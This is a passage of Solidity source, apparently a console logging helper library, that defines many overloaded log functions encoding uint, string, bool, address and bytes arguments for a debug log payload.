function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
